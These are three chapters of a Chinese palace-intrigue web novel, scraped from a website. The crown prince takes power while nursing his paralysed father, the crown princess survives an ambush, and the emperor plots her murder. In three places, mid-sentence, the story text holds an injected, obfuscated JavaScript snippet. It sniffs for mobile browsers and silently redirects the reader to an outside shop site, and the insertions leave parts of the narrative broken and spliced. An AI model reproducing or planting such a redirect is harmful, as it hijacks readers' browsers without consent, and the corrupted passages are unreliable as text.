看着只能躺在床上靠咒骂发泄不满的皇帝,杨皇后说不清自己是什么心情,曾几何时,她对他恨得咬牙,恨不得他赶紧驾崩,如今又觉得看他这样也是一种痛快。 她举起帕子擦了擦并不存在的眼泪,然后悲痛出声,“陛下得早日养好身体才是,臣妾和姐妹们还得靠陛下照拂。” 曹启皇帝闻言,终于把视线看向皇后,无论是真情流露,还是虚情假意,她说的都没错。 可他难道不想养好身体吗?他从醒来后时刻想着能赶紧恢复然后上朝,但他也知道他的左半边身子已没任何知觉,他如今已是一个废物,吃喝拉撒皆只能在床上解决。 思及此,他忙对曹壬道:“太医署的人都是废物,你尽快替朕找葛医仙来就诊。” “儿臣一听宫里传信,就已安排人去寻葛医仙了,只是葛医仙上月离开洛阳云游去了,至今不知身在何处”曹壬回。 “那你下诏呀,下诏:凡能提供葛医仙行踪者重赏,你在这里守着有何用?”曹启皇帝怒言出声。 “儿臣这就去下诏”曹壬仿若未见皇帝的怒火,一脸平静地回。 谢太后在一旁看着,只觉得皇帝今日火气太大,心底不认同,却又不想再出言劝慰,有的人,你说越多他越要一意孤行。 杨皇后看着太子乖觉的下诏去了,心底对皇帝又是一阵嘲讽,暴躁吧,咒骂吧,让你失去尊严的日子还长着呢,看大家能忍你到何时。 太子去太极殿下诏后没有立马回后宫,因为有朝臣要奏朝事,因为这样的原因,曹启皇帝又暴躁地把太子咒骂了一通。 谢太后在一旁坐了一个多时辰后,终于听不下去了,也起身回永宁宫了。 杨皇后像个木头桩子似的侯在皇帝床前,听着皇帝没完没了的咒骂一切能咒骂的人,连她也不例外。 她却一点也不难过,反而隐隐好奇起他到底能骂出什么花样来。 庆平又端着药碗进来了,杨皇后收回早已飘远的思绪,忙上前去接。 谁知曹启皇帝嫌弃地看着她:“庆平来喂,朕不要你喂。” 杨皇后垂眸掩饰了情绪,然后退到了一旁,两位公主今日没能赶来,想来明天看到这样的父皇,什么孺慕之情都能一扫而空。 “陛下既然嫌弃臣妾,臣妾便不在此碍您的眼影响您静养了,待两位公主来了,臣妾再来看望陛下” 杨皇后已经来了几个时辰,如今眼看天色渐晚,她连装都懒得装了,她身后还有杨氏,没什么可怕的,说着话,她起身理了理裙摆,安静地等着皇帝回答。 皇帝却只是将药一口饮尽后,用还能动的右手将空碗用力砸下她,口中怒吼,“滚!” 杨皇后眼疾手快避开了飞来的碗,碗在地毯上转了一圈终于停了下来。 她得令后,看了一眼完好无损的碗,然后气定神闲地离开了显阳殿。 庆平忙劝慰,“太医说了,陛下不可再动怒。” 曹启皇帝却是不听,又开始了新一轮的咒骂,庆平无奈,轻叹一声给身后的小黄门使眼色把碗收走后,安静的侯在床前。 太子在太极殿开完朝会后,立即赶回显阳殿侍疾,一整晚都不曾回东宫,翌日清晨又从显阳殿到太极殿上朝。 第二天两位公主和驸马相继赶来,皇帝一生要强,此时也是先发表了一番对两个女儿的挂念之情,然后开始骂他们不孝顺,没能第一时间进宫看他。 大魏重孝道,被骂不孝顺,简直比打他们还严重,谢太后和杨皇后自是一番劝解,奈何怎么都关不住皇帝的嘴。 两位公主原还想留在宫里侍疾,如今恨不得脚底抹油赶紧出宫,看到太子从外面进来,忙起身告退。 不出所料,他们才走到门外廊下,里面就传来了皇帝对太子的责骂声。 两位公主不约而同地看向对方,心里默契的认为,父皇当初选慧悟法师为太子,肯定是因为他佛性强,不喜不悲的性子才能受得住他的雷霆怒火。 第二日,太子依然留在显阳殿侍疾。 曹启皇帝骂什么,他都不曾开口回答,只是如老僧入定一般坐在床前,甚至在皇帝睡着后,还不忘给他拉被子。 而皇帝的吃喝拉撒,他只要在场就不假他人之手,把皇帝照顾得无微不至,如此这般,即便是庆平,也在心底对太子佩服不已。 太子曹壬如此这般在咸阳殿侍疾七天之后,太子妃终于进宫了。 太子妃进宫,原是来看望皇帝的,可她一进显阳殿,目光就挂在太子身上了。 她先是愣了一瞬,紧接着眼泪就跟珠子似的一个接着一个,满眼心疼地看着太子“殿下,才几日未见,你怎么就瘦成这样了?” 在场的太后和皇后不约而同地想,终于来了。 太子还未回话,太子妃快步走到太子跟前,拉起他的衣袖上下左右查看过后,哽咽道,“早知太子如此受累,臣妾该早些入宫的,您这样真让臣妾难受。” 她说完,不待太子回话,举起手帕蒙着脸“呜呜呜”地哭了起来。 太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277936|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,忙低声出言安慰,“太子妃无需难受,我没事,生病的是父皇。” 曹启皇帝以前见太子妃以这副矫揉造作的摸样对朝臣时,只觉得爽快至极,如今对象换成自己,心里却恨得咬牙,但他已经骂不出口了。 因为他不分昼夜的连续咒骂几天,加上一直躺着不运动,如今的他连说句长句子都要喘气,更别提刚刚被太子妃气后,脑袋正一阵阵的难受。 陆萸这才像想起皇帝似的,立马停止了哭泣,她拿开手上的帕子时,眼眶微红却没有什么眼泪。 她弱柳扶风般走至皇帝床前,行礼,“儿臣听闻父皇生病后忧心过度病倒了,现在才能来看望您,望父皇莫要责怪儿臣。” 她说着,不待皇帝回答,自顾自坐到皇帝床前,一脸关切,“父皇真的动不了吗?是哪只手动不了?脚呢?还能走路吗?今日天气这样好,父皇不能出去晒太阳真可惜,父皇今日胃口好吗,都吃些什么?有没有什么特别想吃的菜?” 太子妃句句关切之语,却句句像刀子似的扎向曹启皇帝的心,他咒骂了几日,火气终于消了不少,也终于认命了。 如今被太子妃这么一问,伤疤又被揭开,心底的怒气再次卷土重来,他忍不住怒喝出声,“给朕住口!” 太子妃听后,终于停下了没完没了的关切,一脸惊恐又不解地看着皇帝,“父皇,儿臣说错什么话了吗?儿臣是在关心您的日常起居呀。” 说完,她举起帕子,捂着脸再次“呜呜呜”的哭了起来,“是儿臣不好,定是儿臣带病前来所以让父皇嫌弃了,儿臣这就回去,万不敢在此影响父皇养病。” 她说着,不待皇帝再次出声打断,立马起身一副痛心疾首地样子看着太子,“殿下,臣妾不该扰父皇休息的,臣妾这就回去。” “父皇不是这个意思,你别难过”曹壬低声安慰。 陆萸擦了擦眼泪,转身看着皇帝,“父皇放心,儿臣的病是旧疾,断不会把病气过给您,您若不想见到儿臣,儿臣现在立马离开,但臣妾舍不得太子如此劳累,所以待儿臣的身体有所好转,儿臣就来接替殿下侍疾,还请父皇稍等几日。” 曹启皇帝听后,再次怒不可遏,却只能颤抖地抬起右手指着太子妃,嘶哑地挤出一声:“滚!” 太子妃听后,立时吓得花容失色,原本惨白的脸,如今灰败一片,仿佛马上就要晕倒。 她一把拉住太子的手,让太子挡住皇帝的视线,然后一副既害怕皇帝又不舍得太子的模样,开口,“父皇这些日子都这样吗?那您岂不是太遭罪了?臣妾这就回去好好喝药,争取尽快来接替您,还望殿下这两日努力加餐,勿忘添衣。” 曹壬有时候也想不痛陆萸是如何把矫揉造作表演得如此逼真的,毕竟她向来冷静又克制,或许,她骨子里住着一个灵动孩子气的灵魂,才会如此吧。 他在袖子底下偷偷回握住她的手,然后低言出声,“我无事,你好好静养,父皇这里也不用操心,再过几日,我就回来。” 陆萸听后,依依不舍一步三回头地看着太子,然后捂着脸离开了显阳殿。 才过一日,洛阳城就传开了,太子妃进宫侍疾的时候,看到太子瘦得与以前判若两人,为此心疼不已,回去后就病倒了,听闻她离开显阳殿的时候是哭着离开的。 而她病倒期间,还挣扎着起身,说要去宫里替换太子,这让东宫的宫人都感动不已,太子妃对太子如此情真意切,真是世间少有。 杨皇后在太子侍疾到第十天的时候,当着皇帝的面把这事说了,她一点都没有添油加醋,只是把太子妃对太子的挂念之情说得更生动而已。 说完后,她看着太子,“陛下已经知道您孝顺,这些日子你既要处理政务又要侍疾,也没好好休息过,太子妃毕竟是你的发妻,她如今病得那样严重,你就先回去看看,顺便也休息一下。” 曹启皇帝在听到外面那些传言后,早就在心里把太子妃和谢洐都骂了八九十遍,他觉得太子妃就是谢洐用来报复他的,报复他当年不让谢洐娶长公主。 曹壬听后,伸手替皇帝理了理被子,然后犹豫了一瞬,“父皇,儿臣这就回去休息,你也好好静养,不要动怒不要操心,不过,倘若太子妃康复,可否要她进宫侍疾?” 皇帝已经气得说不出话,曹壬便自顾自接话,“算了,太子妃那样也是一时好不了的,从明日起,儿臣让朝臣轮流侍疾吧,他们对父皇很是担忧,一直吵着要来。” 曹启皇帝一听这话,瞳孔睁得极大,满眼不可置信死死地盯着曹壬,颤抖着出声“你,你”,话还未说完,再次晕过去了。 庆平立马宣太医,太医再次施救,曹启皇帝再次醒来时,比上次更严重了。 100. 第一百章 有人作死 曹启皇帝这次醒来,除了头和脸能动,脖颈一下完全瘫痪了,如今的他想要扔个茶杯发泄情绪也不能了。 曹壬再次替皇帝理了理被子,然后带着疲惫的声音问太医,“父皇是听说朝臣要来侍疾,所以才高兴得晕过去。” 太医忙道,“陛下这病切记大喜大悲,只能慢慢将养。” 曹壬听后,一副若有所思的点点头,“孤知道了,那就无需所有朝臣都来侍疾。” 言罢,他转身与八喜道,“传孤口谕,从明日起,凡正五品及以上官员,按东宫排的顺序轮流进显阳殿侍疾。” “如此,不会影响父皇静养吧?”曹壬又问太医。 太医忙回,“殿下孝顺,陛下定能早日康复。” 曹壬一副忧心忡忡地看着皇帝感叹,“被病魔折磨时的心情孤最能体会,如今真恨不得病的是孤而非父皇呀!” 太医们一听这话,立马齐齐出声,“太子殿下大孝也!” 杨皇后在一旁看得目瞪口呆,久久未能回神,皇帝彻底瘫了,她不知该高兴还是该难过。 这时曹壬突然出声,“母后这些日子想必也是累极,你们替母后把把脉。” 杨皇后还未来得及说话,一个太医就自告奋勇地给她把起脉了,然后“噗通”一声跪在地上,“娘娘与陛下伉俪情深,但也要爱惜自己的身体呀,您已有血亏之症,急需卧床静养。” 于是,杨皇后还未弄清楚自己的血亏之症是否严重,就已晕晕乎乎地被宫女扶着回到了含章殿,她第一次发现宫里的太医和宫女可以配合得如此完美。 曹壬连续十日在显阳殿侍疾,确实没有丝毫作假,凡事亲力亲为的他如今也是累极,回到东宫行云殿,一番草草梳洗后,倒头就睡着了。 陆萸今日没有外出,见一脸疲态归来的曹壬,她也不忍心问什么,看着他梳洗睡下后,她就安静地坐在窗前看书。 太阳终于完全西沉,东宫的宫人开始在廊下点亮宫灯,看着夜幕下被风吹得微微晃动的灯,听着草丛中传来蟋蟀的叫声,陆萸突然想起岁月静好这个词。 如今的大魏即将迎来新一□□风雨,可在东宫,在行云殿这一隅,她却觉得可以用这个词来形容。 不知过了多久,曹壬中途醒来,他把头从帷帐里探出看着陆萸,“别看书了,你陪我躺一会。” “是我翻书的声音吵到你了吗?”陆萸将书放下问。 曹壬摇摇头,“你不在身边,我睡不踏实。” 陆萸听后,虽然还睡不着,却也换上寝衣躺了进去。 才躺下,曹壬立马伸手将她揽入怀中,然后喟叹出声,“就是这样才能安心。” 陆萸不敢动,直至他再次入睡,才轻轻伸手抱住他的腰,然后把耳朵贴在他的胸膛上听心跳声,不知不觉竟然也沉沉入睡了。 自太子让朝臣轮流侍疾后,大家朝会时也不再扯一些无关紧要的事浪费时间,毕竟正五品以上的官员都有决策权,没有他们在,讨论半天都没意义。 最先侍疾的官员是王司徒,王司徒是太子的舅舅,自顾司空致仕后,三公只余王司徒,大魏的三公和东汉不一样,已经没有实权,只属名誉职位。 但他的品位确实最高,所以安排他第一天侍疾。 虽说是侍疾,他却只是上前向皇帝问安,说几句祝福话,表达一下关切之情后,百无聊赖地在一旁看着太医和内侍们忙碌。 曹壬退朝归来后,毫不避讳地当着王司徒的面伺候皇帝净面、喂药、喂饭、擦洗、翻身以及在他尿湿后给他更换衣物。 一天下来,王司徒虽然只是旁观,脸色却也很差,皇帝身上的味道真是太难闻了,习惯熏香扑粉的他回去后觉得无论用什么香粉都盖不住那个味道。 为此,他不断在家里咒骂是谁吵着要见皇帝的?若知道,他非要撕烂那个人的嘴。 第二天侍疾的是尚书令杨宪,饶是他心里早有准备,也没想到太子会当着他的面让内侍把皇帝的衣服扒光。 当他看到皇帝又气又羞,却只能哼哼唧唧地骂太子时,他心底忍不住发颤,日后自己老了若是这样,真是不如死了来得痛快。 而太子,全程亲力亲为,哪怕皇帝依然骂咧咧不止,他也一脸平静地似在擦拭一尊佛像。 即便皇帝大便失禁后传出的臭味让杨宪差点呕吐,太子依然能面不改色地替皇帝用水冲洗后,替他换上衣服。 这时候,杨宪又忍不住拿自己那些儿子和太子比,想必亲生的也无几人做到这种程度吧? 就这样,朝臣轮流侍疾十天后,皇帝没康复,太子却病倒了。 这时候,朝臣们齐齐去东宫请愿,让太子要以江山为重,不可再操劳下去。 太后知道太子旧疾复发后,立马差了太医去东宫问诊,然后下了一道口谕:朝臣已经侍疾过也看过皇帝的病情了,皇帝需要静养,自此以后,任何人无太子手令不得去显阳殿打扰皇帝养病。 太后口谕一出,哪怕太子还在东宫养病,朝臣们都知道大魏的天已经变了。 听到口谕时,太子和太子妃正在行云殿寝室“养病”,实际是太子在看奏章,太子妃在看书。 “太后的口谕,是你求来的?”陆萸放下手中的书问。 曹壬摇摇头,视线依然在奏章上,“识时务者为俊杰,太后亦如此,她无儿无女却能稳坐永宁宫这么多年,如此小事怎会事先想不到?” 陆萸赚钱在行,但对局势把控和朝堂动向的分析不是很在行,她不知道曹壬手中如今有多少可用之人,也不知道如今的皇宫是否已被他牢牢把控。 思忖须臾,她道,“现下局势瞬息万变,我却帮不了你什么,你若觉得累了,告诉我一声,我,我数钱给你听。” 她想说我给你做好吃的,但想到自己厨艺还不如他,于是改成了数钱,她觉得数钱的声音很好听。 曹壬听后,轻笑出声,把头从奏章中抬起看着她,“不用数钱,让我“剥竹笋”就行。” 好吧,他一句话,直接让陆萸顿时面红耳赤,一时不知如何接话,只能瞪着他。 她嗔怪一声“你变坏了”,然后迅速举起书遮住羞红的脸,大白天的,不远处还有青琼和八喜,他不要脸,她还要脸呢。 曹壬就喜欢看她这副羞红脸的模样,这时候的她总让他想起熟透的水蜜桃,既甜美又可口。 她在帝后面前时时时摆出一副恨不得把他当场扑倒扒掉衣服的样子,谁又能想到背地里却是个说说就会脸红心跳的人呢?当真可爱的紧呢。 太子旧疾复发,朝中所有奏章暂时全部送至东宫,上朝的地点也从太极殿东堂换到了东宫前殿。 于朝臣而言,去哪里上朝都无所谓,他们关心的是太子会不会有什么大动作,特别是石氏和参与了两起劫杀案的世家,每天都在偷偷想着如何应对太子。 好在太子和以前没有什么区别,一如以往的少言寡语,也不曾在朝会上和朝臣闹不愉快。 太子几乎是一个没有脾气的人,哪怕朝臣说多么激愤的言语,发多么难以入耳的牢骚,他都能一派云淡风轻地听着,不但听着,还能偶尔出言安抚。 这一副场景,像极了得道高僧在听过信众诉说心中的苦闷后,用佛法度化信众脱离苦海。 和太子上朝,大家不用浪费时间和同僚打机锋,该奏明什么就奏什么,太子有什么见解和决断也会当场发表,不似曹启皇帝每次都要让大家吵个够,他再出来做个和事佬。 吵到最后看似是让朝臣自己决断,但往往都是吵得他满意的结果时才下决断,朝臣吵赢了却也没有什么成就感,感觉像个背锅侠。 如此和太子在东宫上了几个月的朝,大家突然觉得如今的朝会效率比以前提高了不少,以前总在朝会上争锋相对的同僚,如今也很久没有说含沙射影、不冷不热的言语去刺激对方了。 和太子上朝,不但效率提高了,朝会的氛围也好起来了,因为每次有谁刚发完牢骚,不等同僚接话,太子就能轻松接过话头,然后把那人安抚好。 太子如此神奇的能力,大家总结为他曾皈依佛门,参透红尘,佛门高僧最擅长的就是安抚情绪,救人脱离苦海。 朝中的氛围好了,大家竟然不知不觉就把还在养病的皇帝给忘了,没有他,太子处理政务也很出色,他的存在好像没有那么重要了。 这一年,太子打算让朝廷出资在洛阳、冀州和豫州各建了一所星火书院,三所书院都由太子太傅郑荃和太学大博士旬衡共同管理,招生管理和教学管理细节则由太子妃负责。 建校舍要钱,聘请老师也要钱,国库没钱,太子妃这次又让朝廷写了五十万两白银的欠条。 郑太傅在知道雍州李氏建星火书院的时候,就已向曹启皇帝提议过在洛阳建书院,可皇帝没同意。 如今他和太子一提,太子立马同意,而且一次建三所还让他负责统筹管理,这样的知遇之恩让他感激涕零。 为了让太子妃能尽快建好校舍,他想到了上次谢太傅的珍品拍卖会,然后也豪横地拉了一堆东西给太子妃拍卖,并同意让太子妃抽十个点的佣金。 郑荃连任两次太子太傅,他的东西肯定极具收藏价值,更何况他还在任上,一旦太子登基,荥阳郑氏肯定水涨船高。 所以郑太傅的藏品虽然没有太子的作业,所拍品也只是常见之物,却也拍得了极高的价格,陆萸此次共抽到了九万七千两白银的佣金。 看到进账金额,她喜滋滋地和曹壬感叹,“若是杨氏也能拿点东西出来拍卖,肯定拍得比这个还多。” 曹壬听后,笑回,“杨氏就别想了,倒是旬氏有可能拍卖字画。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为此,灼华和师姐们忙得像个陀螺,好在女童中也有一些能配合打下手的,所以这项挣钱的业务正向好的方向发展。 朝堂上一派祥和,陆萸的事业也蒸蒸日上,这一年,除了皇帝已经卧床九个月,其他所有人都活得忙碌又充实。 安和十六年十一月十三,洛阳下了入冬以来的第一场大雪,纷纷扬扬的大雪似鹅毛般飘向大地。 雪太大,太子免了今日的朝会,如今太子夫妇正坐在行云殿书房,一人批奏折,一人看账本。 看着窗外的雪,陆萸想到明年开春肯定又会有很多孤儿被送来洛阳,她再次觉得挣钱的速度还是太慢。 曹壬看出她的忧虑,出言安慰,“再等一等,我已经想到充实国库的办法了。” 陆萸一听,立马来了兴致,忙问,“是发现金矿了吗?” 在陆萸的认知里,唯有发现金矿并开采出来,能快速充实国库。 曹壬摇摇头,“暂时不能告诉你,总之你届时拿着欠条去尚书省找度支郎提款就是。” 还打哑谜?陆萸虽然好奇极了,却也知道有些事没成以前还是不要说出来的好,于是笑回,“那我就等着那一日快些到来。” 曹壬点点头,“突然发现,认识你十二年,我竟未曾送过你首饰,届时,若有你喜欢的,可以挑一些。” 一听这话,陆萸就知道他可能要抄谁的家,她对首饰不在意,反而担心起他的安危,忙回,“钱财都是身外之物,你的安全才是关键,钱可以慢慢挣,不急这一时。” “你放心,我知道分寸的。” 他回答这话的时候,眼神沉稳坚定,和陆萸以往见到的任何时候都不一样,莫名安抚住了她。 过了一个时辰,大雪终于停下,八喜报太子中庶子和太子舍人在前殿侯着太子,曹壬起身去了前殿。 陆萸把账本看完后,想去女医署看看孩子们,这样冷的天,所有孩子都穿上保暖的衣服是不容易实现的,所以她很早以前就准备了足够多的柴火。 烧柴烤火,在这个时代是成本最低的取暖方式,但陆萸也担心发生火灾,于是打算去巡视一遍再回来。 东宫前殿,太子中庶子刚刚得到消息,会稽侯陆歆被陛下偷偷诏进宫了。 曹壬问,“陆侯何时进宫的?” “半刻钟前,一得消息臣就赶来东宫了”陆弘回。 “父皇还召见何人?” “禁卫军统领夏侯湛”太子舍人王源答。 曹壬轻蔑一笑,“他也就能召见这些人罢了。”顿了一下,他问,“是何人替他传递消息的?” “石贵嫔”王源答。 曹壬听后,脸上看不出情绪,淡然出声,“石氏如此心急,原想让他们过个好年的,还真是不领情。” 101. 第一百零一章 天下 王源和陆弘跟了太子这么久,知道太子的喜怒向来都藏得很深,但在此刻,他们知道太子是真生气了。 “接下来我该如何行事?”陆弘问。 曹壬:“看他召二人为何事,先不要轻举妄动。” 陆弘和王源得令后,留下来和曹壬说起了其他政事。 半个时辰后,三人正说着话,八喜急匆匆来报,“殿下,太子妃在女医暑门口遇刺了。” 八喜话音刚落,曹壬和陆弘猛然看向八喜,同时急急出声,“可知何方所为?” 王源见状,刚要出口的话咽了回去,他觉得陆弘的反应也太急切了一些。 “目前不知何人所为,卑职一收到东宫卫的求救信号就已派人去支援了。” 陆弘见王源的神情,迅速回过神来,忙向太子解释,“臣担心此事和祖父被陛下召见有关。” 曹壬神色肃穆地开口,“你二人时刻关注太极宫动向,必要时关闭所有宫门。” 语罢,他急匆匆向门口走去。 陆弘猜到太子要去救太子妃,快步追上拉住他,“殿下贵重,不可以身犯险。” 王源也回过神来,忙劝说,“还请殿下三思。” 曹壬扭头看着陆弘,“我已经错过一次,不想再错一次,你放手。” 仅短短一句话,陆弘便知多说无益,只得怔怔地松开了手。 王源不知他们在打什么哑谜,见太子迅速消失在门口,气得直跺脚,“你二人平日里看着都比我持成稳重,怎么关键时刻竟如此冲动?” 陆弘抿紧唇看着殿外白茫茫一片,须臾才回,“殿下重情义是好事,随他去吧。” 陆萸如今真是后悔没好好看黄历,也后悔没听曹壬的话好好呆在东宫。 至女医暑门口,她刚下马车,路口不远处的马车上就下来了皇后殿中的苏嬷嬷,想必她已经等候多时。 苏嬷嬷喊住太子妃,然后走过来行礼,“娘娘许久未见太子妃殿下,故派老奴邀您进宫一叙。” 如果是那个为爱痴傻的谢知鱼,也许真会随苏嬷嬷进宫,可陆萸不是,她知道皇后有多嫌弃她,所以断不会邀她进宫。 于是她一脸惊喜又为难地回,“我今日还要看看女医署的孩子,待明日吧,明日我让太子陪我一起给母后请安。” “今日大雪,娘娘枯坐无趣,就想和太子妃一起赏雪”苏嬷嬷回。 “可我不喜欢赏雪呀,那太冷了”太子妃一脸无辜地回。 这样矫揉造作的太子妃,让苏嬷嬷突然失了耐心,“皇后娘娘邀请,太子妃再三拒绝,是不把皇后娘娘放在眼里吗?” 陆萸一听这话,惊恐地跳到东宫卫的后面,指着苏嬷嬷大喝,“此刁奴竟然骂我,我好害怕,快给我拿下她。” 因为皇帝一直没好,担心年底生乱,陆萸现在每次出门都带着十名东宫卫,他们个个都是精锐。 苏嬷嬷也没想到太子妃竟然如此警觉,立刻大喝一声,“你们还等什么?” 陆萸已猜到她是有备而来,却不曾想她的人会这么多,才一转眼的功夫,一大群人黑压压的冲进了这个不怎么宽的路上。 担心吓到里面的孩子们,陆萸让女医署的护卫迅速把孩子们带去了后面的房子里,而她则退守到了离门口最近的那栋教学楼里。 刺客源源不断的涌进小巷,东宫卫们立即放了求救信号。 今日给男童教授骑射的老师恰好也在,他们把男童们安置好后,没有出男童院的门,而是站在教学楼上,拉弓射箭,这样的距离几乎百发百中。 刺客们没想到近身搏斗眼看就要胜利,竟然遇上了飞来的箭矢,顿时让让他们防不胜防。 他们原本只是想掳走太子妃,如今却不得不为保命拼死奋战。 东宫的支援队很快到达,那波刺客哪怕人数再多,此时也渐渐支撑不下去了。 他们想要撤退,奈何后路被东宫救援队堵死了,只能接着奋战。 又是一场激烈的打斗,太子殿下赶到女医署时,双方激战刚刚结束,地上遍地是死尸,鲜血染红了覆盖在女医署门口这条路上的白雪。 苏嬷嬷见到太子殿下翻身下马,依然面无惧色,她上前行礼,“老奴只是想请太子妃进宫和娘娘赏雪,不曾想竟会闹出这么大的动静。” 曹壬似看蝼蚁一般看着苏嬷嬷,“孤和太子妃识得进宫的路,无需嬷嬷陪同。” 太子的眼神让她忍不住打了个冷颤,她刚要开口,就被东宫卫一把压倒在地上,口中也迅速被塞入了布块。 她只能趴在地上挣扎着,眼睛死死地瞪着太子,可太子连个眼神都懒得给她,直接进了女医署。 陆萸没想到随便出个门,女医署门口就能血流成河,饶是有心理准备,也忍不住颤抖。 见到曹壬,她又气又急,“你怎么可以来这里,万一还有埋伏怎么办?” 曹壬快步走上前,将她紧紧拥入怀中,“因为你在这里呀。” 比起再次失去她,以身犯险又如何?更何况他已不是当年那个只会傻傻听信皇帝一面之词的曹壬了。 “阿萸,你说当年的我们太稚嫩,此刻,我想告诉你,我长大了。” 陆萸听后,伸手紧紧回抱住他,一场刺杀背后,估计还有更大的动荡等着他们。 一阵风吹突然起院中的积雪,雪花打着转不停在二人周围旋转着,飞舞着。 她感受着他怀中的温暖,抬头笑看着他,“君期,我们长大了,会更好的活下去。” 太极宫显阳殿,今日的曹启皇帝没有躺着,而是让庆平扶着他靠在床头,要见多年未见的下臣,皇帝不想让他看到自己那般落魄不堪的一面。 陆歆自进殿后一直跪坐在皇帝床前,眼前的帝王是他少年时的同窗,二人一起入东宫一起入朝堂,过去几十年二人配合默契。 哪怕他已致仕,他亦是皇帝埋在江东的一颗棋,他的任务是向皇帝实时密奏江东的大小政治动态。 可不知从何时开始,他衷心未改,帝王却早已忘了初心。 他进来后,曹启皇帝先向他感叹时光流逝,然后追忆二人年少时光,紧接着开始哭诉自己生病这一年的艰难苦恨。 听他哭诉时,陆歆忍不住为他落了几滴泪,谁知,皇帝竟然突然骂起朝臣,然后骂皇后,骂太子,最后变成骂陆氏不忠不义。 他骂陆氏背着他和手握重兵的藩王联姻是为意图不轨,骂陆氏狼子野心是为效仿杨氏。 骂了一会,他又说是因为他没有救下陆萸,太子和陆氏才会报复他。 陆歆还未来得及解释,他又开始骂陆萸了,一个死透的人,竟然也能被他骂半个时辰。 忍无可忍之下,陆歆终于出言打断,“陛下,臣能在老死之前再见君颜实属不易,您就别浪费时间责骂,先说正事吧,臣这次回去后,估计与君再无相见之期。” 原以为听了这话,曹启皇帝会醒悟,会珍惜君臣之谊。 谁知,他像突然受了什么刺激似的,眼神阴鸷地盯着陆歆,“你也盼着朕赶紧死是吗?你们一个个都盼着朕死,一群忘恩负义之辈,你陆氏是,他曹君期亦是。” “陛下慎言”陆歆出声打断。 他实在不想不通,需要靠太子才能苟延残喘的皇帝,为何就看不清如今的局势。 “慎言?朕有何可惧?曹君期把朕的尊严送给朝臣踩在脚底下,朕早就无所畏惧了。若非朕,他如何能坐上太子之位?他如今翅膀硬了,就想卸磨杀驴,他和你们陆氏一样,都是过河拆桥的小人。” “陆氏没有不忠不义,也不曾过河拆桥,太子殿下待陛下亦一片赤诚,还请陛下不要多思,好好休养。” “是吗?你如何证明陆氏没有不忠不义?”曹启皇帝嘲讽出声。 陆歆听后,反问,“陛下想要臣如何证明?” 曹启皇帝的眼中此时只剩疯狂和狠厉,他死死地盯着陆歆,“朕想让你亲手杀了太子妃,你敢吗?” 闻言,陆歆心神一震,一脸不可置信地看着曹启皇帝,“臣杀了太子妃,只会让陆氏和谢氏交恶,如此与陛下有何益?” 有那么一瞬,他以为皇帝已经知道太子妃的真实身份,可想到刚刚他还在不停咒骂死去的陆萸,他心底稍微一松。 眼前这个自己追随了几十年的帝王不仅让他觉得极其陌生,更让他觉得哪怕此刻只有头会动的帝王,却像一条毒蛇正吐着信子。 “于朕无益,朕就不可杀她吗?朕知道太子和她不曾圆房,但早晚有一天,她会成为太子的软肋,影响太子成为一个真正的君王”曹启皇帝恶狠狠地回,眼中一片狠厉。 让陆歆观之不寒而栗,他忙回,“太子出自佛门,无意男女之情,陛下万一错杀了呢?谢氏如今已无力撼动朝堂,太子妃将来也可以是太子的助力,为何要舍弃?” “朕宁可错杀,亦不想有漏网之鱼,这是朕要给太子上了最后一堂课。未来那么远,朕没时间去赌太子会不会喜欢上太子妃,所以,朕只问你最后一次,你到底敢还是不敢?” 至此时此刻,陆歆才真正知道眼前的帝王到底有多疯狂和执拗。 他掩饰好情绪后,问,“陛下想让臣如何杀掉太子妃。” 曹启皇帝听后,嘴角扯出一个阴森恐怖的笑,“很快,你就能当着朕的面杀掉太子妃了。” 殿内烧着炭盆,陆歆却觉得寒冷刺骨,他想,今日或许只能死在这殿里了,可他若死了,想必九丫头也会暴露吧? “夏侯湛为何迟迟未来?”曹启皇帝不耐烦地问庆平。 庆平忙回,“奴婢已经通知过夏侯将军,他还未来,许是有事耽搁了。” 曹启皇帝听后,嘲讽一笑,“他以为朕看不出他是条左右摇摆的狗吗?还好朕准备了第二手。” 他话音刚落,殿门突然被打开,寒风带着飞雪迅速涌入殿内。 太子曹壬站在寒风中,寒风带着雪花吹起他的衣角,陆歆心口的石头终于落地。 在那片飞舞的雪花中,太子无悲无喜地看着曹启皇帝,“父皇,您的人失败了,儿臣原不想打扰您养病,却又担心您等得寝食难安,故前来告知一二。” 太子的身后站着夏侯湛和八喜。 曹启皇帝知大势已去,一时怒火中烧,他阴狠毒辣地盯着夏侯湛,“吃里扒外的狗奴才,枉费朕一直重用你,夏侯氏非百年世家,若非有朕,你们早就被世家们吃干抹净。” 夏侯湛听到这番咒骂,却也能面色平静,因为自皇帝生病后,他早已被骂得麻木不仁。 跟着太子进殿后,他向皇帝行礼,“陛下,夏侯氏自武帝起一直追随曹氏,夏侯氏今日的荣耀并不是您的施舍得来的,是夏侯氏的子孙用鲜血拼来的。” 殿门再次被合上,曹壬在陆歆对面坐下,问,“陆侯和父皇叙完旧了吗?” 陆歆点点头,“臣刚刚遇到了棘手之事,还好殿下来了。” “何事?”曹壬笑问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 